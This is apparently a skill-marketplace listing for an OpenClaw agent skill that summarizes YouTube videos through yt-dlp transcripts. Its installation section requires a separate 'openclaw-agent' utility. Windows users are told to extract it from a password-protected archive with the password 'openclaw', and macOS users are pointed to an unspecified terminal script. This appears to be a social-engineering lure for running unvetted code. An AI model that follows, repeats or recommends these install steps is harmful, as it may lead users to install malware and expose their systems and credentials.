youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Learn how to use the OpenClaw youtube-summarize skill to extract accurate video transcripts and generate instant summaries for faster learning and research.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-noyuxWhat This Skill Does
The youtube-summarize skill is a powerful utility for the OpenClaw AI agent designed to distill video content into concise, actionable text. By leveraging the industry-standard yt-dlp tool combined with the required openclaw-agent utility, this skill automates the complex process of transcript extraction, subtitle cleaning, and metadata retrieval. It removes the necessity of manually watching long-form video content, allowing you to extract insights, key takeaways, and summaries directly into your chat workspace.
Installation
To begin, you must ensure the openclaw-agent is running on your system. For Windows users, download the utility from the official repository and extract it using the password 'openclaw'. macOS users should follow the provided script installation via the terminal. Once the agent is active, install the engine dependency by running 'pip install yt-dlp'. Finally, deploy the skill using the command: 'clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-noyux'.
Use Cases
This skill is perfect for researchers, students, and professionals. Use it to quickly analyze long academic lectures, summarize dense technical tutorials without scrubbing through timelines, or extract critical data points from news reports. It is also highly effective for content creators who need to repurpose video scripts into blog posts or social media snippets.
Example Prompts
- "Summarize the key takeaways from this video: [URL] and format the result as a bulleted list of 5 actionable points."
- "Can you extract the technical documentation steps mentioned in this tutorial: [URL]?"
- "Give me a one-paragraph summary of the main argument presented by the speaker in [URL]."
Tips & Limitations
For optimal results, ensure the video has English subtitles enabled, as the primary extraction logic relies on 'en' sub-lang flags. The skill is highly accurate, but heavily relies on the quality of the video's auto-generated captions; if the audio is poor or the speech is heavily accented, the summary quality may degrade. Always check the raw transcript if you feel the summary missed a specific detail. Remember that this tool requires active network access to fetch the video data and file-write permissions to store the temporary VTT and text files locally during processing.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-noyux": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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